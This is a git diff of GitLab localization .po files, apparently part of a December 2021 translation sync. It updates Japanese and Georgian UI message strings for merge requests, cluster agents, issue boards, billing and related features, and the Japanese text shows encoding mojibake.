-msgstr "ã“ã®ã‚½ãƒ¼ã‚¹ãƒ–ランãƒã¯å‰Šé™¤ã•ã‚Œã¾ã›ã‚“"
-
-msgid "mrWidget|There are merge conflicts"
-msgstr "マージã®ç«¶åˆãŒã‚ã‚Šã¾ã™"
-
msgid "mrWidget|This merge request failed to be merged automatically"
msgstr "ã“ã®ãƒžãƒ¼ã‚¸ãƒªã‚¯ã‚¨ã‚¹ãƒˆã¯è‡ªå‹•çš„ã«ãƒžãƒ¼ã‚¸ã•ã‚Œã¾ã›ã‚“ã§ã—ãŸ"
-msgid "mrWidget|This project is archived, write access has been disabled"
-msgstr "ã“ã®ãƒ—ロジェクトã¯ã‚¢ãƒ¼ã‚«ã‚¤ãƒ–ã•ã‚Œã¦ã„ã‚‹ãŸã‚ã€æ›¸ãè¾¼ã¿ã¯ç„¡åŠ¹ã§ã™ã€‚"
-
msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
msgstr "ã“ã®ãƒžãƒ¼ã‚¸ãƒªã‚¯ã‚¨ã‚¹ãƒˆã‚’承èªã™ã‚‹ã«ã¯ã€ãƒ‘スワードを入力ã—ã¦ãã ã•ã„。ã“ã®ãƒ—ロジェクトã§ã¯ã€ã™ã¹ã¦ã®æ‰¿èªãŒèªè¨¼ã•ã‚Œã¦ã„ãªã‘ã‚Œã°ãªã‚Šã¾ã›ã‚“。"
-msgid "mrWidget|To merge, a Jira issue key must be mentioned in the title or description."
+msgid "mrWidget|To change these default messages, edit the templates for both the merge and squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|Use %{linkStart}CI pipelines to test your code%{linkEnd} by simply adding a GitLab CI configuration file to your project. It only takes a minute to make your code more secure and robust."
+msgid "mrWidget|To change this default message, edit the template for merge commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|What is a merge train?"
+msgid "mrWidget|To change this default message, edit the template for squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|You can merge after removing denied licenses"
+msgid "mrWidget|To merge, a Jira issue key must be mentioned in the title or description."
+msgstr ""
+
+msgid "mrWidget|Users who can write to the source or target branches can resolve the conflicts."
msgstr ""
-msgid "mrWidget|You can only merge once this merge request is approved."
+msgid "mrWidget|What is a merge train?"
msgstr ""
msgid "mrWidget|Your password"
@@ -41145,6 +41805,18 @@ msgstr "パイプライン"
msgid "pipeline schedules documentation"
msgstr ""
+msgid "pipelineEditorWalkthrough|Let's do this!"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|See how GitLab pipelines work"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|This %{codeStart}.gitlab-ci.yml%{codeEnd} file creates a simple test pipeline."
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|Use the %{boldStart}commit changes%{boldEnd} button at the bottom of the page to run the pipeline."
+msgstr ""
+
msgid "pod_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -41322,9 +41994,6 @@ msgstr "サインイン"
msgid "smartcn custom analyzer"
msgstr ""
-msgid "sort:"
-msgstr "並ã¹æ›¿ãˆ:"
-
msgid "source"
msgstr "ソース"
@@ -41349,6 +42018,9 @@ msgstr ""
msgid "starts on %{timebox_start_date}"
msgstr ""
+msgid "structure is too large"
+msgstr ""
+
msgid "stuck"
msgstr "スタック"
diff --git a/locale/ka_GE/gitlab.po b/locale/ka_GE/gitlab.po
index 37572cf9c28..a749e37c803 100644
--- a/locale/ka_GE/gitlab.po
+++ b/locale/ka_GE/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: ka\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-11-02 00:41\n"
+"PO-Revision-Date: 2021-12-06 18:58\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -70,9 +70,6 @@ msgstr ""
msgid "\"%{repository_name}\" size (%{repository_size}) is larger than the limit of %{limit}."
msgstr ""
-msgid "\"el\" parameter is required for createInstance()"
-msgstr ""
-
msgid "#%{issueIid} (closed)"
msgstr ""
@@ -239,6 +236,11 @@ msgid_plural "%d fixed test results"
msgstr[0] ""
msgstr[1] ""
+msgid "%d fork"
+msgid_plural "%d forks"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d group"
msgid_plural "%d groups"
msgstr[0] ""
@@ -289,6 +291,11 @@ msgid_plural "%d merge requests that you don't have access to."
msgstr[0] ""
msgstr[1] ""
+msgid "%d merge requests"
+msgid_plural "%d merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d metric"
msgid_plural "%d metrics"
msgstr[0] ""
@@ -354,6 +361,11 @@ msgid_plural "%d shards selected"
msgstr[0] ""
msgstr[1] ""
+msgid "%d star"
+msgid_plural "%d stars"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d tag"
msgid_plural "%d tags"
msgstr[0] ""
@@ -407,6 +419,12 @@ msgstr[1] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{actionText} & close %{noteable}"
+msgstr ""
+
+msgid "%{actionText} & reopen %{noteable}"
+msgstr ""
+
msgid "%{address} is an invalid IP address range"
msgstr ""
@@ -483,6 +501,11 @@ msgstr[1] ""
msgid "%{count} approvals from %{name}"
msgstr ""
+msgid "%{count} contact"
+msgid_plural "%{count} contacts"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} files touched"
msgstr ""
@@ -705,7 +728,7 @@ msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request draft from merging before it's ready."
msgstr ""
msgid "%{link_start}What information does GitLab Inc. collect?%{link_end}"
@@ -759,6 +782,9 @@ msgstr ""
msgid "%{name} is already being used for another emoji"
msgstr ""
+msgid "%{name} is reserved for %{type} report type"
+msgstr ""
+
msgid "%{name} is scheduled for %{action}"
msgstr ""
@@ -791,9 +817,6 @@ msgstr ""
msgid "%{oneYearAgo} - %{today}"
msgstr ""
-msgid "%{openOrClose} %{noteable}"
-msgstr ""
-
msgid "%{openedEpics} open, %{closedEpics} closed"
msgstr ""
@@ -818,6 +841,9 @@ msgstr ""
msgid "%{primary} (%{secondary})"
msgstr ""
+msgid "%{project_path} is a project that you can use to add a README to your GitLab profile. Create a public project and initialize the repository with a README to get started. %{help_link_start}Learn more.%{help_link_end}"
+msgstr ""
+
msgid "%{ref} cannot be added: %{error}"
msgstr ""
@@ -850,6 +876,9 @@ msgstr ""
msgid "%{scope} results for term '%{term}'"
msgstr ""
+msgid "%{search} %{description} %{scope}"
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -896,9 +925,6 @@ msgstr ""
msgid "%{start} to %{end}"
msgstr ""
-msgid "%{state} epics"
-msgstr ""
-
msgid "%{strongOpen}Warning:%{strongClose} SAML group links can cause GitLab to automatically remove members from groups."
msgstr ""
@@ -997,6 +1023,9 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
+msgid "%{type} only supports %{name} name"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1128,6 +1157,11 @@ msgstr ""
msgid "(revoked)"
msgstr ""
+msgid "(squashes %d commit)"
+msgid_plural "(squashes %d commits)"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "(this user)"
msgstr ""
@@ -1137,6 +1171,9 @@ msgstr ""
msgid "* All times are in UTC unless specified"
msgstr ""
+msgid "*Required"
+msgstr ""
+
msgid "+ %{amount} more"
msgstr ""
@@ -1175,6 +1212,9 @@ msgstr ""
msgid "+%{tags} more"
msgstr ""
+msgid ", and "
+msgstr ""
+
msgid ", or "
msgstr ""
@@ -1480,9 +1520,6 @@ msgstr ""
msgid "A new Release %{tag} for %{name} was published. Visit the Releases page to read more about it:"
msgstr ""
-msgid "A new branch will be created in your fork and a new merge request will be started."
-msgstr ""
-
msgid "A new impersonation token has been created."
msgstr ""
@@ -1519,9 +1556,6 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
-msgid "A string appended to the project path to form the Service Desk email address."
-msgstr ""
-
msgid "A title is required"
msgstr ""
@@ -1570,9 +1604,6 @@ msgstr ""
msgid "APIFuzzing|Choose a profile"
msgstr ""
-msgid "APIFuzzing|Code snippet could not be generated. Try again later."
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -1708,9 +1739,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied! Please verify you can add deploy keys to this repository."
-msgstr ""
-
msgid "Access denied: %{error}"
msgstr ""
@@ -1957,12 +1985,18 @@ msgstr ""
msgid "Add a related issue"
msgstr ""
+msgid "Add a suffix to Service Desk email address. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
msgid "Add a table"
msgstr ""
msgid "Add a task list"
msgstr ""
+msgid "Add a title…"
+msgstr ""
+
msgid "Add a to do"
msgstr ""
@@ -2005,6 +2039,12 @@ msgstr ""
msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
msgstr ""
+msgid "Add customer relation contact(s)."
+msgstr ""
+
+msgid "Add customer relation contacts"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2047,9 +2087,6 @@ msgstr ""
msgid "Add new directory"
msgstr ""
-msgid "Add new service account"
-msgstr ""
-
msgid "Add or remove previously merged commits"
msgstr ""
@@ -2119,6 +2156,9 @@ msgstr ""
msgid "Add variable"
msgstr ""
+msgid "Add vulnerability finding"
+msgstr ""
+
msgid "Add webhook"
msgstr ""
@@ -2164,9 +2204,6 @@ msgstr ""
msgid "Added an issue to an epic."
msgstr ""
-msgid "Added at"
-msgstr ""
-
msgid "Added for this merge request"
msgstr ""
@@ -2209,7 +2246,7 @@ msgstr ""
msgid "Adds %{labels} %{label_text}."
msgstr ""
-msgid "Adds a Zoom meeting"
+msgid "Adds a Zoom meeting."
msgstr ""
msgid "Adds a to do."
@@ -2218,7 +2255,7 @@ msgstr ""
msgid "Adds an issue to an epic."
msgstr ""
-msgid "Adds email participant(s)"
+msgid "Adds email participant(s)."
msgstr ""
msgid "Adjust how frequently the GitLab UI polls for updates."
@@ -2314,6 +2351,9 @@ msgstr ""
msgid "AdminArea|Maintainer"
msgstr ""
+msgid "AdminArea|Minimal access"
+msgstr ""
+
msgid "AdminArea|New group"
msgstr ""
@@ -2380,7 +2420,7 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
+msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. After you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
msgid "AdminProjects|Delete"
@@ -2917,19 +2957,28 @@ msgstr ""
msgid "Advanced export options"
msgstr ""
+msgid "AdvancedSearch|Reindex required"
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. You will lose this project's repository and %{strongStart}all related resources%{strongEnd}, including issues and merge requests."
+msgstr ""
+
msgid "After a successful password update you will be redirected to login screen."
msgstr ""
msgid "After a successful password update, you will be redirected to the login page where you can log in with your new password."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or code quality as well as many other features."
+msgid "After it expires, you can't use merge approvals, code quality, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many other features."
+msgid "After it expires, you can't use merge approvals, epics, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many security features."
+msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
msgid "After you've reviewed these contribution guidelines, you'll be all set to"
@@ -3520,9 +3569,6 @@ msgstr ""
msgid "An empty GitLab User field will add the FogBugz user's full name (e.g. \"By John Smith\") in the description of all issues and comments. It will also associate and/or assign these issues and comments with the project creator."
msgstr ""
-msgid "An empty index will be created if one does not already exist"
-msgstr ""
-
msgid "An error has occurred"
msgstr ""
@@ -3550,6 +3596,9 @@ msgstr ""
msgid "An error occurred fetching the project authors."
msgstr ""
+msgid "An error occurred fetching the public deploy keys. Please try again."
+msgstr ""
+
msgid "An error occurred previewing the blob"
msgstr ""
@@ -3709,6 +3758,9 @@ msgstr ""
msgid "An error occurred while loading chart data"
msgstr ""
+msgid "An error occurred while loading code owners."
+msgstr ""
+
msgid "An error occurred while loading commit signatures"
msgstr ""
@@ -3891,6 +3943,9 @@ msgstr ""
msgid "An example showing how to use Jsonnet with GitLab dynamic child pipelines"
msgstr ""
+msgid "An integer value is required for seconds"
+msgstr ""
+
msgid "An issue already exists"
msgstr ""
@@ -3930,6 +3985,9 @@ msgstr ""
msgid "Analyze your dependencies for known vulnerabilities."
msgstr ""
+msgid "Analyze your infrastructure as code configuration files for known vulnerabilities."
+msgstr ""
+
msgid "Analyze your source code and git history for secrets."
msgstr ""
@@ -3972,9 +4030,6 @@ msgstr ""
msgid "Any encrypted tokens"
msgstr ""
-msgid "Any files larger than this limit only index the file name. The file content is neither indexed nor searchable."
-msgstr ""
-
msgid "Any label"
msgstr ""
@@ -3987,9 +4042,6 @@ msgstr ""
msgid "Any namespace"
msgstr ""
-msgid "App Engine description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "App ID"
msgstr ""
@@ -4046,6 +4098,9 @@ msgid_plural "ApplicationSettings|Approve %d users"
msgstr[0] ""
msgstr[1] ""
+msgid "ApplicationSettings|Approve users"
+msgstr ""
+
msgid "ApplicationSettings|Approve users in the pending approval status?"
msgstr ""
@@ -4054,6 +4109,9 @@ msgid_plural "ApplicationSettings|By making this change, you will automatically
msgstr[0] ""
msgstr[1] ""
+msgid "ApplicationSettings|By making this change, you will automatically approve all users in pending approval status."
+msgstr ""
+
msgid "ApplicationSettings|Denied domains for sign-ups"
msgstr ""
@@ -4466,6 +4524,9 @@ msgstr ""
msgid "Are you sure you want to delete this SSH key?"
msgstr ""
+msgid "Are you sure you want to delete this deploy key?"
+msgstr ""
+
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
@@ -4669,6 +4730,9 @@ msgstr ""
msgid "Assign to commenting user"
msgstr ""
+msgid "Assign to me"
+msgstr ""
+
msgid "Assign yourself to these issues"
msgstr ""
@@ -4766,6 +4830,9 @@ msgstr ""
msgid "Audit Events"
msgstr ""
+msgid "Audit events"
+msgstr ""
+
msgid "AuditLogs|(removed)"
msgstr ""
@@ -5414,6 +5481,9 @@ msgstr ""
msgid "Billing|Users occupying seats in"
msgstr ""
+msgid "Billing|View pending approvals"
+msgstr ""
+
msgid "Billing|You are about to remove user %{username} from your subscription. If you continue, the user will be removed from the %{namespace} group and all its subgroups and projects. This action can't be undone."
msgstr ""
@@ -5491,6 +5561,9 @@ msgstr ""
msgid "BoardScope|An error occurred while getting milestones, please try again."
msgstr ""
+msgid "BoardScope|An error occurred while searching for labels, please try again."
+msgstr ""
+
msgid "BoardScope|An error occurred while searching for users, please try again."
msgstr ""
@@ -5500,12 +5573,21 @@ msgstr ""
msgid "BoardScope|Any assignee"
msgstr ""
+msgid "BoardScope|Any label"
+msgstr ""
+
msgid "BoardScope|Assignee"
msgstr ""
+msgid "BoardScope|Choose labels"
+msgstr ""
+
msgid "BoardScope|Edit"
msgstr ""
+msgid "BoardScope|Labels"
+msgstr ""
+
msgid "BoardScope|Milestone"
msgstr ""
@@ -5518,6 +5600,9 @@ msgstr ""
msgid "BoardScope|Select assignee"
msgstr ""
+msgid "BoardScope|Select labels"
+msgstr ""
+
msgid "BoardScope|Select milestone"
msgstr ""
@@ -5609,6 +5694,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New board"
+msgstr ""
+
msgid "Boards|New epic"
msgstr ""
@@ -5621,6 +5709,9 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Board|An error occurred while fetching the board, please try again."
+msgstr ""
+
msgid "Board|Are you sure you want to delete this board?"
msgstr ""
@@ -5912,10 +6003,13 @@ msgstr ""
msgid "BulkImport|Import groups from GitLab"
msgstr ""
+msgid "BulkImport|Import is finished. Pick another name for re-import"
+msgstr ""
+
msgid "BulkImport|Import selected"
msgstr ""
-msgid "BulkImport|Importing the group failed"
+msgid "BulkImport|Importing the group failed."
msgstr ""
msgid "BulkImport|Last imported to %{link}"
@@ -5924,6 +6018,9 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|Name already used as a target for another group."
+msgstr ""
+
msgid "BulkImport|New group"
msgstr ""
@@ -6169,6 +6266,9 @@ msgstr ""
msgid "Cadence is not automated"
msgstr ""
+msgid "Calculate the number of slices during reindexing. The multiplier is applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -6463,10 +6563,10 @@ msgstr ""
msgid "ChangeReviewer|Unassigned"
msgstr ""
-msgid "ChangeTypeAction|A new branch will be created in your fork and a new merge request will be started."
+msgid "ChangeTypeAction|Cherry-pick"
msgstr ""
-msgid "ChangeTypeAction|Cherry-pick"
+msgid "ChangeTypeAction|GitLab will create a branch in your fork and start a merge request."
msgstr ""
msgid "ChangeTypeAction|Pick into branch"
@@ -6517,9 +6617,6 @@ msgstr ""
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
-msgid "Changes are still tracked. Useful for cluster/index migrations."
-msgstr ""
-
msgid "Changes saved."
msgstr ""
@@ -6532,6 +6629,9 @@ msgstr ""
msgid "Changes to the title have not been saved"
msgstr ""
+msgid "Changing any setting here requires an application restart"
+msgstr ""
+
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -6595,10 +6695,10 @@ msgstr ""
msgid "Check out, review, and merge locally"
msgstr ""
-msgid "Check the current instance configuration "
+msgid "Check the %{code_open}elasticsearch.log%{code_close} file to debug why the migration halted and make any changes before retrying the migration. When you fix the cause of the failure, select %{strong_open}Retry migration%{strong_close}, and the migration is scheduled to retry in the background."
msgstr ""
-msgid "Check the elasticsearch.log file to debug why the migration was halted and make any changes before retrying the migration. When you fix the cause of the failure, click \"Retry migration\", and the migration will be scheduled to be retried in the background."
+msgid "Check the current instance configuration "
msgstr ""
msgid "Check with your administrator."
@@ -6660,6 +6760,9 @@ msgstr ""
msgid "Checkout|%{name}'s storage subscription"
msgstr ""
+msgid "Checkout|%{quantity} CI minutes"
+msgstr ""
+
msgid "Checkout|%{quantity} GB of storage"
msgstr ""
@@ -6674,9 +6777,6 @@ msgstr ""
msgid "Checkout|%{startDate} - %{endDate}"
msgstr ""
-msgid "Checkout|%{totalCiMinutes} CI minutes"
-msgstr ""
-
msgid "Checkout|(may be %{linkStart}charged upon purchase%{linkEnd})"
msgstr ""
@@ -6875,9 +6975,6 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
-msgstr ""
-
msgid "Choose a file"
msgstr ""
@@ -7175,6 +7272,9 @@ msgstr ""
msgid "Clients"
msgstr ""
+msgid "Clientside DSN"
+msgstr ""
+
msgid "Clone"
msgstr ""
@@ -7217,6 +7317,9 @@ msgstr ""
msgid "Close %{issueType}"
msgstr ""
+msgid "Close %{noteable}"
+msgstr ""
+
msgid "Close %{tabname}"
msgstr ""
@@ -7259,12 +7362,6 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
-msgid "Cloud Functions description and apps that are suitable for this deployment target"
-msgstr ""
-
-msgid "Cloud Run description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -7286,16 +7383,31 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
+msgid "ClusterAgents|%{number} of %{total} agents"
+msgstr ""
+
+msgid "ClusterAgents|%{number} of %{total} clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Access tokens"
msgstr ""
+msgid "ClusterAgents|Actions"
+msgstr ""
+
+msgid "ClusterAgents|Advanced installation methods"
+msgstr ""
+
+msgid "ClusterAgents|Agent"
+msgstr ""
+
msgid "ClusterAgents|Agent might not be connected to GitLab"
msgstr ""
msgid "ClusterAgents|Agent never connected to GitLab"
msgstr ""
-msgid "ClusterAgents|Alternative installation methods"
+msgid "ClusterAgents|All"
msgstr ""
msgid "ClusterAgents|An error occurred while loading your GitLab Agents"
@@ -7307,9 +7419,30 @@ msgstr ""
msgid "ClusterAgents|An unknown error occurred. Please try again."
msgstr ""
+msgid "ClusterAgents|Certificate"
+msgstr ""
+
msgid "ClusterAgents|Configuration"
msgstr ""
+msgid "ClusterAgents|Connect a cluster through the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect existing cluster"
+msgstr ""
+
+msgid "ClusterAgents|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the GitLab Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect your cluster through the Agent"
+msgstr ""
+
msgid "ClusterAgents|Connected"
msgstr ""
@@ -7319,6 +7452,9 @@ msgstr ""
msgid "ClusterAgents|Copy token"
msgstr ""
+msgid "ClusterAgents|Create a new cluster"
+msgstr ""
+
msgid "ClusterAgents|Created by"
msgstr ""
@@ -7328,28 +7464,31 @@ msgstr ""
msgid "ClusterAgents|Date created"
msgstr ""
+msgid "ClusterAgents|Deprecated"
+msgstr ""
+
msgid "ClusterAgents|Description"
msgstr ""
-msgid "ClusterAgents|For alternative installation methods %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Failed to register an agent"
msgstr ""
-msgid "ClusterAgents|For more troubleshooting information go to"
+msgid "ClusterAgents|For the advanced installation method %{linkStart}see the documentation%{linkEnd}."
msgstr ""
-msgid "ClusterAgents|Go to the repository"
+msgid "ClusterAgents|GitLab Agent"
msgstr ""
-msgid "ClusterAgents|Install a new GitLab Agent"
+msgid "ClusterAgents|GitLab Agent for Kubernetes"
msgstr ""
-msgid "ClusterAgents|Install new Agent"
+msgid "ClusterAgents|Go to the repository files"
msgstr ""
-msgid "ClusterAgents|Integrate Kubernetes with a GitLab Agent"
+msgid "ClusterAgents|How to register an agent?"
msgstr ""
-msgid "ClusterAgents|Integrate with the GitLab Agent"
+msgid "ClusterAgents|Install a new agent"
msgstr ""
msgid "ClusterAgents|Last connected %{timeAgo}."
@@ -7361,6 +7500,9 @@ msgstr ""
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn how to troubleshoot"
+msgstr ""
+
msgid "ClusterAgents|Make sure you are using a valid token."
msgstr ""
@@ -7373,60 +7515,78 @@ msgstr ""
msgid "ClusterAgents|Never connected"
msgstr ""
+msgid "ClusterAgents|No agents"
+msgstr ""
+
+msgid "ClusterAgents|No clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Not connected"
msgstr ""
-msgid "ClusterAgents|Read more about getting started"
+msgid "ClusterAgents|Recommended"
msgstr ""
msgid "ClusterAgents|Recommended installation method"
msgstr ""
-msgid "ClusterAgents|Registering Agent"
+msgid "ClusterAgents|Register"
msgstr ""
-msgid "ClusterAgents|Registration token"
+msgid "ClusterAgents|Register an agent to generate a token that will be used to install the agent on your cluster in the next step."
msgstr ""
-msgid "ClusterAgents|Select an Agent"
+msgid "ClusterAgents|Registering Agent"
msgstr ""
-msgid "ClusterAgents|Select the Agent you want to register with GitLab and install on your cluster. To learn more about the Kubernetes Agent registration process %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Registration token"
msgstr ""
-msgid "ClusterAgents|Select which Agent you want to install"
+msgid "ClusterAgents|Security"
msgstr ""
-msgid "ClusterAgents|The Agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
+msgid "ClusterAgents|Select an agent"
msgstr ""
-msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
+msgid "ClusterAgents|Select an agent to register with GitLab"
msgstr ""
-msgid "ClusterAgents|The GitLab Kubernetes Agent allows an Infrastructure as Code, GitOps approach to integrating Kubernetes clusters with GitLab. %{linkStart}Learn more.%{linkEnd}"
+msgid "ClusterAgents|The GitLab Agent provides an increased level of security when connecting Kubernetes clusters to GitLab. %{linkStart}Learn more about the GitLab Agent.%{linkEnd}"
msgstr ""
-msgid "ClusterAgents|The recommended installation method provided below includes the token. If you want to follow the alternative installation method provided in the docs make sure you save the token value before you close the window."
+msgid "ClusterAgents|The agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
msgstr ""
-msgid "ClusterAgents|The registration token will be used to connect the Agent on your cluster to GitLab. To learn more about the registration tokens and how they are used %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|The recommended installation method includes the token. If you want to follow the advanced installation method provided in the docs, make sure you save the token value before you close this window."
msgstr ""
-msgid "ClusterAgents|The token value will not be shown again after you close this window."
+msgid "ClusterAgents|The registration token will be used to connect the agent on your cluster to GitLab. %{linkStart}What are registration tokens?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|This agent has no tokens"
msgstr ""
-msgid "ClusterAgents|To install an Agent you should create an agent directory in the Repository first. We recommend that you add the Agent configuration to the directory before you start the installation process."
+msgid "ClusterAgents|To install a new agent, first add the agent's configuration file to this repository. %{linkStart}What's the agent's configuration file?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|Unknown user"
msgstr ""
+msgid "ClusterAgents|View all %{number} agents"
+msgstr ""
+
+msgid "ClusterAgents|View all %{number} clusters"
+msgstr ""
+
+msgid "ClusterAgents|You cannot see this token again after you close this window."
+msgstr ""
+
msgid "ClusterAgents|You will need to create a token to connect to your agent"
msgstr ""
+msgid "ClusterAgents|Your instance doesn't have the %{linkStart}GitLab Agent Server (KAS)%{linkEnd} set up. Ask a GitLab Administrator to install it."
+msgstr ""
+
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -7568,15 +7728,18 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|Clusters connected with a certificate"
-msgstr ""
-
msgid "ClusterIntegration|Connect cluster with certificate"
msgstr ""
msgid "ClusterIntegration|Connect existing cluster"
msgstr ""
+msgid "ClusterIntegration|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterIntegration|Connect your cluster to GitLab through %{linkStart}cluster certificates%{linkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Connection Error"
msgstr ""
@@ -7703,9 +7866,6 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|GitLab Agent managed clusters"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -7751,12 +7911,6 @@ msgstr ""
msgid "ClusterIntegration|Instance type"
msgstr ""
-msgid "ClusterIntegration|Integrate Kubernetes with a cluster certificate"
-msgstr ""
-
-msgid "ClusterIntegration|Integrate with a cluster certificate"
-msgstr ""
-
msgid "ClusterIntegration|Integration disabled"
msgstr ""
@@ -7778,9 +7932,6 @@ msgstr ""
msgid "ClusterIntegration|Kubernetes cluster was successfully created."
msgstr ""
-msgid "ClusterIntegration|Kubernetes clusters allow you to use review apps, deploy your applications, run your pipelines, and much more in an easy way."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes version"
msgstr ""
@@ -8081,6 +8232,9 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
+msgid "ClusterIntegration|The certificate-based method to connect clusters to GitLab was %{linkStart}deprecated%{linkEnd} in GitLab 14.5."
+msgstr ""
+
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -8135,6 +8289,9 @@ msgstr ""
msgid "ClusterIntegration|Unknown Error"
msgstr ""
+msgid "ClusterIntegration|Use the %{linkStart}GitLab Agent%{linkEnd} to safely connect your Kubernetes clusters to GitLab. You can deploy your applications, run your pipelines, use Review Apps, and much more."
+msgstr ""
+
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -8192,9 +8349,6 @@ msgstr ""
msgid "Code"
msgstr ""
-msgid "Code Coverage: %{coveragePercentage}"
-msgstr ""
-
msgid "Code Coverage: %{coveragePercentage}%{percentSymbol}"
msgstr ""
@@ -8231,6 +8385,9 @@ msgstr ""
msgid "Code review"
msgstr ""
+msgid "Code snippet"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -8656,6 +8813,12 @@ msgstr ""
msgid "Configure Prometheus"
msgstr ""
